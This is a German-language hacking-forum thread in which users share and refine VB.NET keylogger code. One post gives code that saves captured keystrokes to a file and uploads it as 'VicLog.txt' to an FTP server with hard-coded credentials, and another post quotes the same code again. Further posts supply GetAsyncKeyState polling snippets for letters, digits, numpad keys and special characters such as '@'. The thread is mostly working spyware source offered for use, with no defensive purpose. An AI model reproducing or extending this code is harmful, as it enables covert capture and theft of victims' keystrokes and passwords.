[b][vb.net]ftp keylogger

[inmate]

OMG dann lasst ihn doch!!!

Warum seit ihr jetzt sauer auf ihn den rest des Tuts kann man sich doch wohl denken -.-
wenn ihr das nochnichmals hinbekommt dann lasst es am besten kommplett :/


mfG

inmate

[DarkFire]

Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

[ghosty]

Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()

Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

Jo echt Nett von dir auch wenn ichs nicht brauch xD.

1337 l3€t

LOL

[aspire™]

Wie geht das mit Zahlen ? Das er wenn einer Zahlen ausgibt es auf label1.text erscheint?

[DarkFire]

Buchstaben:

If GetAsyncKeyState(Keys.A) = -32767 Then
        If My.Computer.Keyboard.ShiftKeyDown = True Then
            Label1.Text = Label1.Text + "A"
        Else
            Label1.Text = Label1.Text + "a"
        End If
End If

Zahlen:
If GetAsyncKeyState(Keys.D0) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "="

Else
Label1.Text = Label1.Text + "0"

End If
End If

If GetAsyncKeyState(Keys.D1) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "!"

Else
Label1.Text = Label1.Text + "1"

End If
End If

If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + "0"

End If

If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + "1"

End If

[Th3_Cr4xX]

part2 ? ^^

btw wie mach ich ein @ ?

        If GetAsyncKeyState(Keys.Control + Keys.Alt + Keys.Q) = -32767 Then
            Label1.Text = Label1.Text + "@"
        End If

Hab ich versucht, heraus kommt wieder ein "q"

[DarkFire]

If GetAsyncKeyState(Keys.RMenu) = -32767 And GetAsyncKeyState(Keys.Q) = -32767 Then

Nicht gestestet =/ sollte aber gehen